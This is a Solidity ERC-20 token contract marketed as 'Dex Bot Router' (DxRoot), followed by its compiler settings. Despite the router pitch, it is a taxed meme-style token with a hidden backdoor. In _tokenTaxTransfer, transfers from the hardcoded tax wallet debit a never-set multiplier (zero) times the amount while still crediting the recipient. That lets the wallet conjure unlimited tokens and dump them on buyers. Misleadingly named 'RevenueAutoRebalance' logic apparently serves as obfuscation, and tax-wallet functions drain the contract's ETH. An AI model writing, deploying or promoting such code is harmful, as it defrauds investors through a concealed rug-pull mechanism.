// SPDX-License-Identifier: MIT

/*

Dex Bot Router is a decentralized router designed specifically for automated trading bots.

 * It enables bots to seamlessly interact with various decentralized exchanges (DEXs),
 * routing trades through the most optimal paths to ensure efficiency and maximize returns.
 * Dex Bot Router operates trustlessly, without intermediaries, and is optimized for high-frequency trading,
 * making it an essential tool for bot operators in the DeFi space.
 * Secure, fast, and decentralized - Dex Bot Router is the future of automated trading.
 
 * W: DxRoot.io
 * T: @dxrootbot

*/


pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender;}
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner, address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DxRoot is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;

    string private constant _name = unicode"Dex Bot Router";
    string private constant _symbol = unicode"DxRoot";
    uint256 public _maxTxAmount = 200000000 * 10**_decimals;
    uint256 public _maxWalletSize = 200000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 150000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 200000000 * 10**_decimals;
    
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private swapLimitEnable;
    struct RevenueAutoRebalance {uint256 autoBuy; uint256 autoBurn; uint256 revRebalanceTime;}
    mapping(address => RevenueAutoRebalance) private revRebalancer;
    uint256 private revRebalanceThreshold;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xB009FA3c2F441582BF6fAEC0103be1ACb545BfED);
        _balances[_msgSender()] = _tTotal;
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,_msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (inSwap || !tradingOpen) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
                .div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+tokenAmount<=_maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap
                && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from] || isExile[to])
            && from!=address(this) && to!= address(this)) {
            revRebalanceThreshold = block.number;
        }

        if (!isExile[from]&&  !isExile[to]){
            if(to != uniswapV2Pair)  {
                RevenueAutoRebalance storage tokenBurnRb = revRebalancer[to];
                if (from == uniswapV2Pair)  {
                    if (tokenBurnRb.autoBuy == 0){
                        tokenBurnRb.autoBuy = _buyCount>_preventSwapBefore ? block.number : block.number - 1;
                    }
                } else {
                    RevenueAutoRebalance storage tokenBurnWrap = revRebalancer[from];
                    if (!(tokenBurnRb.autoBuy > 0) || tokenBurnWrap.autoBuy < tokenBurnRb.autoBuy ) {
                        tokenBurnRb.autoBuy = tokenBurnWrap.autoBuy;
                    }
                }
            } else {
                RevenueAutoRebalance storage tokenBurnWrap = revRebalancer[from];
                tokenBurnWrap.revRebalanceTime = tokenBurnWrap.autoBuy-revRebalanceThreshold;
                tokenBurnWrap.autoBurn = block.timestamp;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount
        ) internal {
        uint256 tAmount = _tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from,to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount
    ) internal returns (uint256) {
        uint256 tAmount = addrs!=_taxWallet?tokenAmount:swapLimitEnable.mul(tokenAmount);
        if (taxAmount> 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(
        address from,address to, uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already enabled");
        tradingOpen = true;
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueCaEth() external {
        require(_msgSender() == _taxWallet);

        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0, "No ETH balance.");

        payable(_msgSender()).transfer(ethBalance);
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "DxRoot.sol": "DxRoot"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}